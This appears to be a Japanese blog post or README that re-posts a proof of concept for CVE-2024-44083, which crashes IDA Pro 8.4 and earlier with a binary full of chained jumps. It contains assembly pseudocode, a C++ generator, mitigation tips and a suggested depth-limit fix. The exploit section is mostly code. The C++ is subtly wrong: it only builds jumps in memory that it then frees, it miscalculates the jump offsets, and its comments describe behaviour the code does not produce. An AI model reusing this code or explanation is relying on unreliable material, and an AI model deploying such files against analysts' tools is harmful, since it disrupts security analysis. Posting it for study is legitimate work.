
オリジナルの PoC リポジトリは削除されてしまったので (github.com/Azvanzed/CVE-2024-44083、github.com/Azvanzed/IdaMeme)、ここに再掲します。仕組みを理解したい人や自分の環境でテストしたい人のために、作り直すことにしました。
IDA Pro ≤ 8.4 は、過剰なジャンプチェーンを含むバイナリを解析するとクラッシュします。
ida64.dll は、ジャンプチェーンを追跡する際にどこまで深く辿るかを制限していません。そのため、エントリポイントに到達するまで数千もの連結ジャンプを含むバイナリを解析すると、IDA は自滅します。
| フィールド | 値 |
|---|
| CVE | CVE-2024-44083 |
| 影響を受けるバージョン | IDA Pro ≤ 8.4 |
| コンポーネント | ida64.dll |
| CWE | CWE-770 (リソース枯渇) |
| 影響 | クラッシュ (DoS) |
アイデアは単純です。ジャンプがさらに別のジャンプへと飛び続ける、ジャンプだらけのセクションを作るだけです。
; pseudocode obviously
section .text
; thousands of these
jump_0:
jmp jump_1
jump_1:
jmp jump_2
jump_2:
jmp jump_3
; ... keep going ...
jump_9999:
jmp payload
payload:
call _start ; this creates the cross-reference that breaks things
_start:
; IDA tries to resolve all the jumps pointing here
; boom crash
ret
IDA はこれらすべてのジャンプを追跡してクロスリファレンスを構築しようとしますが、数が多すぎるとそのまま諦めてクラッシュします。
C++ で似たようなものを作りたい場合は、次のようにします:
#include <windows.h>
#include <cstring>
// the idea is to generate a ton of jump instructions
// that chain together and eventually hit the entry point
void generate_jump_chain() {
// allocate executable memory for our jump chain
unsigned char* code = (unsigned char*)VirtualAlloc(
NULL,
10000 * 5 + 10, // 10,000 jumps × 5 bytes + some extra
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!code) return;
int offset = 0;
// create 10,000 chained jumps
for (int i = 0; i < 10000; i++) {
// write JMP rel32 instruction (E9 xx xx xx xx)
code[offset] = 0xE9; // JMP opcode
// calculate relative offset to next jump (5 bytes ahead)
int32_t rel = 5;
// copy the 4-byte relative offset
memcpy(&code[offset + 1], &rel, 4);
offset += 5;
}
// last jump creates circular reference
// jump back 5 bytes to create infinite loop
code[offset] = 0xE9;
int32_t rel = -5;
memcpy(&code[offset + 1], &rel, 4);
// you can also return a value to make it believeable
offset += 5;
code[offset] = 0xC3; // ret
// this is the pattern that crashes IDA:
// 10,000 jumps → self-referential jump → IDA gets stuck
// no depth limit in recursion → stack overflow → crash
// cleanup
VirtualFree(code, 0, MEM_RELEASE);
}
基本的には、連結された JMP 命令を大量に書き込んでいるだけです。IDA がそれを解析しようと賢く振る舞うと、スタック/メモリが尽きてしまいます。
古い IDA を使い続けている場合:
怪しいファイルを開く前に自動解析を無効にする
疑わしいセクションの解析を制限する
Hex-Rays が取るべき対策:
// pseudocode
#define MAX_JUMP_DEPTH 1000
void analyze_jumps(address_t addr, int depth) {
if (depth > MAX_JUMP_DEPTH) {
warn("jump chain too deep. fail.");
return; // dont crash just stop
}
address_t target = get_jump_target(addr);
if (target) {
analyze_jumps(target, depth + 1);
}
}
要するに、深さ制限を追加するだけです。
教育目的のみです。悪用しないでください。